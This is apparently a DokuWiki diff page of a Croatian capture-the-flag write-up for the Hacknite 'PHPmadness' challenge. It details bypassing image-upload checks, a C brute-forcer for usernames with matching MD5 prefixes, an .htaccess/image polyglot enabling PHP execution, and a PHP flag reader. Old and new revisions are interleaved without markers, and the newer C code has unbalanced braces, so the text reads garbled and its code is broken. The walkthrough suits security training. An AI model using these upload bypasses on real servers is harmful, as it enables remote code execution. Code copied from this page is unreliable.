User Tools

Site Tools


phpmadness

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
phpmadness [2025/10/30 16:27] mbunicphpmadness [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 1: Line 1:
 ==== Zadatak s Hacknite platforme - PHPmadness ==== ==== Zadatak s Hacknite platforme - PHPmadness ====
  
-Uz zadatak je dan i izvorni kod. \\+<file> 
 +Ovaj zadatak ima slojeve
  
-{{ :slika1.png?nolink&500 | Slika 1 - Dockerfile}}+http://chal.platforma.hacknite.hr:14019 
 +</file>
  
-Pregledom *Dockerfilea* zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju **/flag**, gdje datoteka dobiva nasumično generiran naziv u formatu `fl4g_<nasumičnih 16 znakova>`.+Dan je i izvorni kod zadatka. \\
  
-Odlaskom na stranicu zadatka potrebno je registrirati novi korisnički računNakon logina prikazuje se stranica na kojoj se može pohraniti jedna slika. \\+{{ phpmadness:slika1.png?nolink&500 | Slika 1 - Dockerfile}}
  
-{{ :slika2.png?nolink&500 | Slika 2 - stranica zadatka}}+Pregledom **Dockerfilea** zadatka, može se vidjeti da se radi o PHP zadatku, te da se flag kopira u direktorij **/flag**, te da flag datoteka dobiva nasumično generirano ime u formatu:
  
-Nakon što se uploada neka mala nasumična slika (npr. *whatever.png*), dobije se poveznica na lokaciju slike. \\+<code> 
 +fl4g_<nasumicnih 16 znakova> 
 +</code>
  
-{{ :slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}}+Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, nakon logina prikazuje se stranica na kojoj se može pohraniti jedna jedina slika. \\
  
-Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika. \\+{{ phpmadness:slika2.png?nolink&500 | Slika 2 - stranica zadatka}}
  
-{{ :slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}}+Nakon što se uploada neka mala nasumična slika (npr**whatever.png**), dobije se poveznica na lokaciju slike. \\
  
-Kod se sastoji od tri provjere:+{{ phpmadness:slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}}
  
-**1Provjera ekstenzije datoteke** +Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo slika. \\ 
-<file>+ 
 +{{ phpmadness:slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}} 
 + 
 +Kod se sastoji od tri provjere, prva provjera je samo provjera ekstenzije učitane datoteke, provjerava se tako da se uzme dio naziva datoteke nakon zadnje točke, npr. **.jpg**, te se provjerava da ta ekstenzija ne počinje znakovima **ph**, što je definirano ovim REGEX pravilom: 
 + 
 +<code>
 if (preg_match('/^ph/', $ext)) { if (preg_match('/^ph/', $ext)) {
-</file>+</code>
  
-Provjera uzima ekstenziju nakon zadnje točke (npr. `.jpg`) i provjerava da ne počinje znakovima `ph`.   +Ovu provjeru lako je zaobići, tako da se stave dvostruke ekstenzije, npr.
-Ovu provjeru lako je zaobići dvostrukom ekstenzijomnpr. `file.php.jpg`.   +
-U tom slučaju se validira `.jpg`, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje `.php`.+
  
-**2Provjera MIME tipa poslanog u zahtjevu** +<code> 
-<file>+file.php.jpg 
 +</code> 
 + 
 +U kojem bi slučaju ova provjera uzela samo **.jpg**, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, **.php**, ostala. 
 + 
 +Druga provjera, provjerava da MIME tip poslan u zahtjevu odgovara slici: 
 + 
 +<code>
 if (strpos($_FILES["file"]["type"], "image/")) if (strpos($_FILES["file"]["type"], "image/"))
-</file> +</code>
-Ova provjera koristi podatak koji klijent šalje i može se jednostavno namjestiti ručno pri slanju datoteke.+
  
-**3Provjera “file signature” (serverska provjera)**   +Ovu provjeru je lagano zaobići namještanjem ove vrijednosti na korisničkoj strani pri slanju datoteke. 
-<file>+ 
 +Treća provjera
 + 
 +<code>
 $info = @getimagesize($_FILES["file"]["tmp_name"]); $info = @getimagesize($_FILES["file"]["tmp_name"]);
 $mime = $info['mime'];  $mime = $info['mime']; 
 +
 ... ...
 +
 strpos($mime, "image/") !== 0 strpos($mime, "image/") !== 0
-</file> +</code>
-Ova provjera čita stvarne “magic bytes” datoteke i određuje je li slika.   +
-Zaobići se može tako da se na početak PHP datoteke dodaju “magic byteovi” slike (.jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.+
  
----+Provjerava datoteku na serverskoj strani, čitajući njezin "file signature" ili "magic bytes" i prema njima određuje je li učitana datoteka slika ili nije.
  
-No, čak ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se **ne bi izvršila**jer se sprema u `/uploads/`a tamo postoji `.htaccess` koji zabranjuje izvršavanje PHP datoteka\\+I ovu provjeru moguće je jednostavno zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveruna početku koje se dodaju "magic byteovi" odnosno "file signature" neke slikenpr.jpg, i u slučaju da bi PHP parser čitao ovu datoteku, on bi ignorirao ove byteove i nakon toga uspješno pročitao i pokrenuo PHP kod.
  
-{{ :slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}}+No postoji problem, čak i da se uploada datoteka s PHP kodom koja zaobilazi sve ove provjere, ona se i dalje ne bi izvršila, zato što će se učitati pod putanjom **/uploads/**, a u **/uploads** direktoriju postoji **.htaccess** file, koji zabranjuje izvršavanje svim PHP datotekama. \\
  
-Međutim, učitana datoteka se sprema u **poddirektorij** `/uploads/<specific_user_directory>`.   +{{ phpmadness:slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}}
-To znači da, ako se može uploadati **.htaccess** datoteka koja bi zaobišla validaciju, ona bi mogla **nadjačati** (override) roditeljsku `.htaccess` konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.+
  
-Problem: korisnik možimati **samo jednu** datoteku po sesiji — upload nove briše starušto je prikazano kodu\\+No uploadana datoteka ćse nalaziti u poddirektoriju od **/uploads**, nalazit će se u:
  
-{{ :slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}}+<code> 
 +/uploads/&lt;specific_user_directory&gt; 
 +</code>
  
-To znači:   +Što znači da ako je moguće uploadati **.htaccess** file, koji bi također zaobišao provjere da je uploadana datoteka slikataj učitani **.htaccess** file bi nadjačao (eng. override) roditeljski **.htaccess** file. Time bi bilo moguće definirati vlastita **.htaccess** pravila u direktoriju pojedinog korisnika.
-ako se upload-a `.php` datoteka, neće se moći izvršiti zbog ograničenja u `.htaccess`,   +
-- ako se upload-a `.htaccess`, neće se moći uploadati dodatna `.php` datoteka jer se prva briše.+
  
----+No problem je da svaki korisnik smije imati samo jednu učitanu datoteku po korisničkoj sesiji, i učitavanjem nove datoteke, stara datoteka se briše i samo nova čuva, što je prikazano u kodu na slici 6. \\
  
-Postoji ipak način da **dvije datoteke** završe u istom direktoriju  +{{ phpmadness:slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}}
-Pogledajmo kako se određuje ime korisničkog direktorija:+
  
-<file>+To znači da ako korisnik učita **.php** file koji zaobilazi sve provjere, on neće biti dopušten zbog **.htaccess** konfiguracije u naddirektoriju, a ako uspije učitati **.htaccess** datoteku koja overridea krovnu konfiguraciju, neće biti moguće učitati **.php** datoteku koja bi iskoristila tu novu konfiguraciju koja dopušta izvršavanje PHP koda. 
 + 
 +No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo **.htaccess** datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga. 
 + 
 +Odgovor leži u logici koja određuje u koji direktorij će se pohraniti korisnikova učitana datoteka, što je određeno u ovoj liniji koda: 
 + 
 +<code>
 $userdir = substr(md5($_SESSION['username']), 0, 6) . "/"; $userdir = substr(md5($_SESSION['username']), 0, 6) . "/";
-</file>+</code>
  
-Dakle, direktorij se naziva po **prvih 6 znakova MD5 sažetka korisničkog imena**  +Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka korisnikovog korisničkog imena (usernamea).
-Ako nađemo **dva korisnička imena** X i Y s istim prvim 6 znakova MD5 hash-a:+
  
-<file>+To znači da ako možemo pronaći dva korisnička imena, koja oba imaju istih prvih 6 znakova njihovih MD5 sažetka, odnosno 
 + 
 +<code>
 MD5(X)[0:6] = MD5(Y)[0:6] MD5(X)[0:6] = MD5(Y)[0:6]
-</file>+</code> 
 + 
 +gdje su X i Y dva različita usernamea, svaki korisnik može uploadati jednu datoteku u isti direktorij, tako da korištenjem jednog korisnika se može uploadati **.htaccess** datoteka, a korištenjem drugog korisnika datoteka sa PHP kodom, čije je izvršavanje omogućeno **.htaccess** datotekom.
  
-onda će oba korisnika spremati datoteke u isti direktorij.   +Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzoispod minute (implementacijom u C-u).
-Jedan može uploadati `.htaccess`a drugi `.php` datoteku.+
  
-Pronalazak takvog para je trivijalan brute-force problem — možse riješiti u manje od minute.   +Sljedećje jedan primjer C koda koji pronalazi ovo rješenje.
-Slijedi primjer C programa koji to radi:+
  
 <file> <file>
-// md5_collision_finder6+// md5_collision_finder6 
 #include <stdio.h> #include <stdio.h>
 #include <stdlib.h> #include <stdlib.h>
Line 108: Line 129:
     printf("Input string: %s\n", input);     printf("Input string: %s\n", input);
     printf("Full MD5: ");     printf("Full MD5: ");
-    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);+    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) 
 +        printf("%02x", input_digest[i]); 
 +    }
     printf("\nFirst 6 chars: ");     printf("\nFirst 6 chars: ");
-    for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]); +    for (int i = 0; i < 3; i++) 
-    printf("\nSearching for collision...\n");+        printf("%02x", input_digest[i]); 
 +    } 
 +    printf("\nSearching for collision (min 8 chars)...\n");
  
 +    // Extract first 3 bytes as target
     unsigned char target[3];     unsigned char target[3];
     memcpy(target, input_digest, 3);     memcpy(target, input_digest, 3);
-    const int min_len = 8; +    const int min_len = 8; // MINIMUM candidate length 
-    const int max_len = 15;+    const int max_len = 15; // MAXIMUM candidate length
     const size_t charset_size = sizeof(charset) - 1;     const size_t charset_size = sizeof(charset) - 1;
     unsigned long long attempts = 0;     unsigned long long attempts = 0;
-    char candidate[max_len + 1];+    const unsigned long long report_interval = 10000000; 
 +    char candidate[max_len + 1]; // Buffer for candidate
     srand(time(NULL));     srand(time(NULL));
- 
     while (1) {     while (1) {
         attempts++;         attempts++;
 +        // Generate random candidate length (8-15)
         int len = rand() % (max_len - min_len + 1) + min_len;         int len = rand() % (max_len - min_len + 1) + min_len;
-        for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];+        // Generate random candidate 
 +        for (int i = 0; i < len; i++) 
 +            candidate[i] = charset[rand() % charset_size]; 
 +        }
         candidate[len] = '\0';         candidate[len] = '\0';
-        if (len == input_len && memcmp(candidate, input, len) == 0) continue;+        // Skip input string if same (length + content) 
 +        if (len == input_len && memcmp(candidate, input, len) == 0) 
 +            continue; 
 +        } 
 +        // Compute MD5
         unsigned char candidate_digest[MD5_DIGEST_LENGTH];         unsigned char candidate_digest[MD5_DIGEST_LENGTH];
         MD5((unsigned char*)candidate, len, candidate_digest);         MD5((unsigned char*)candidate, len, candidate_digest);
 +        // Progress report
 +        if (attempts % report_interval == 0) {
 +            printf("Attempts: %lluM, Current: %s\n", attempts/1000000, candidate);
 +        }
 +        // Check first 3 bytes (6 hex characters)
         if (memcmp(candidate_digest, target, 3) == 0) {         if (memcmp(candidate_digest, target, 3) == 0) {
-            printf("Collision found after %llu attempts!\n", attempts); +            printf("\nCollision found after %llu attempts!\n", attempts); 
-            printf("Colliding string: %s\n", candidate);+            printf("Colliding string: %s (length: %d)\n", candidate, len); 
 +            printf("Full MD5: "); 
 +            for (int i = 0; i < MD5_DIGEST_LENGTH; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\nFirst 6 chars: "); 
 +            for (int i = 0; i < 3; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\n");
             break;             break;
         }         }
Line 140: Line 188:
 </file> </file>
  
-Pokretanje:+Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument. 
 + 
 +Primjer ovakvog para korisničkih imena dobivenog ovim programom je: 
 <file> <file>
 $ ./md5_collision_finder6 korisnik1 $ ./md5_collision_finder6 korisnik1
Line 146: Line 197:
 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61
 First 6 chars: affc2d First 6 chars: affc2d
 +Searching for collision (min 8 chars)...
 +Attempts: 10M, Current: ZF7ciZizcHo8
 +
 Collision found after 19093362 attempts! Collision found after 19093362 attempts!
-Colliding string: BQuxIUGH+Colliding string: BQuxIUGH (length: 8)
 Full MD5: affc2da2a9c70df41678d24f997a95f0 Full MD5: affc2da2a9c70df41678d24f997a95f0
 First 6 chars: affc2d First 6 chars: affc2d
 </file> </file>
  
-Dakle, dva korisnička imena koja dijele direktorij su **korisnik1** i **BQuxIUGH**.+Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju su
 + 
 +<code> 
 +korisnik1 i BQuxIUGH 
 +</code> 
 + 
 +Preostaje problem kako učitati **.htaccess** datoteku, koja će uspješno proći kroz provjere da je učitana datoteka slika, dok će se dalje dobro parsirati kao ispravan **.htaccess** file. Pri parsiranju PHP fileova, nepoznati byteovi će se samo preskočiti, te je ovo trivijalan problem kod datoteke s PHP kodom, dok je u slučaju **.htaccess** datoteke, ovo zapravo najteži dio zadatka.
  
----+.htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati **.htaccess.jpg**.
  
-Sada treba napraviti .htaccess datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati.   +Postoje dva rješenja.  
-Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka.+
  
-Postoje dva rješenja:+==== .wbmp ====
  
-### 1. `.wbmp` pristup   +Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null bajtovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null bajtovi na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsiratiDatoteka može imati sadržaj:
-Parser .htaccess datoteke ignorira početne *null* bajtove.   +
-Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike.   +
-Takva datoteka može se zvati `.htaccess.jpg` i sadržavati:+
  
 <file> <file>
-<4 null byteova><new line>+<4 null bajtova><new line (\n ili 0a u hex)>
 <FilesMatch "\.php3$"> <FilesMatch "\.php3$">
 Require all granted Require all granted
Line 174: Line 230:
 </file> </file>
  
-### 2. `.xbm` pristup   +==== .xbm ==== 
-Komentari u .htaccess počinju s `#`.   + 
-Ako se doda zaglavlje valjane .xbm slike:+Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije: 
 + 
 +<file> 
 +#define a_width 1  
 +#define a_height 1 
 +</file> 
 + 
 +što prolazi provjeru je li učitana datoteka slika, interpretirajući se kao **.xbm** datoteka (slika), dok se pri parsiranju datoteke kao .htaccess, ove dvije linije smatraju komentarima i preskaču, pa se parsiranje .htaccess datoteke normalno nastavlja. Primjer sadržaja:
  
 <file> <file>
Line 187: Line 250:
 </file> </file>
  
-PHP provjera prepoznaje datoteku kao slikua Apache parser ignorira prve dvije linije kao komentare.+Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, **.htaccess** i datoteka s PHP kodom u isti korisnički direktorijuz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke.
  
----+Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u **/php-config/disable_functions.ini**.
  
-Time je moguće zaobići sve provjere i ograničenja.   +Zabranjene funkcije su:
-Dakle, strategija je  +
-1. Dva korisnika s istim prvih 6 znakova MD5 hash-a.   +
-2. Jedan upload-a `.htaccess.jpg` (s gornjim sadržajem).   +
-3. Drugi upload-a PHP datoteku, npr. `readFlag.php3.jpg`.+
  
---- +<code>
- +
-Preostaje PHP kod koji pronalazi i ispisuje flag.   +
-Ograničenja su definirana u `/php-config/disable_functions.ini`: +
- +
-<file>+
 disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec
-</file>+</code>
  
-Ipak, moguće je čitati datoteke bez ovih funkcija.+No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati ju i bez ovih zabranjenih funkcija.
  
-Primjer datoteke **readFlag.php3.jpg** (s dodanim *magic bytes* slike na početku):+Primjer datoteke s PHP kodom, koja bi bila odobrena prethodnom **.htaccess** datotekom i pronašla flag datoteku te je pročitala i ispisala se može zvati **readFlag.php3.jpg** i sadržavati file signature bilo koje slike, npr. koristeći tehniku .wbmp, te nakon toga potrebni PHP kod:
  
 <file> <file>
-<4 null byteova><new line>+<4 null byteova><new line (\n ili 0a u hex)>
 <?php <?php
 $files = scandir("/flag"); $files = scandir("/flag");
Line 226: Line 280:
 </file> </file>
  
---- +Preostali koraci
- +  * s jednim korisnikom učitati prethodno opisanu **.htaccess.jpg** datoteku, \\   
-Zatim+    {{ phpmadness:slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}}
-1. Prvim korisnikom upload-aj `.htaccess.jpg`. \\   +
-{{ :slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}}+
  
-2. Drugim korisnikom upload-aj `readFlag.php3.jpg`. \\   +  * s drugim korisnikom učitati opisanu datoteku s PHP kodom (**readFlag.php3.jpg**), \\   
-{{ :slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}}+    {{ phpmadness:slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}}
  
-3. Posjeti link do učitane PHP datoteke\\   +  * otići na lokaciju učitane PHP datoteke i posjetiti je, \\   
-{{ :slika9.png?nolink&500 | Slika 9 - link na lokaciju}}+    {{ phpmadness:slika9.png?nolink&500 | Slika 9 - link na lokaciju}}
  
-PHP kod će se izvršiti ispisati flag. \\   +kako bi se PHP kod izvršio ispisao flag. \\   
-{{ :slika10.png?nolink&500 | Slika 10 - riješen zadatak}}+{{ phpmadness:slika10.png?nolink&500 | Slika 10 - riješen zadatak}}
  
phpmadness.1761841630.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki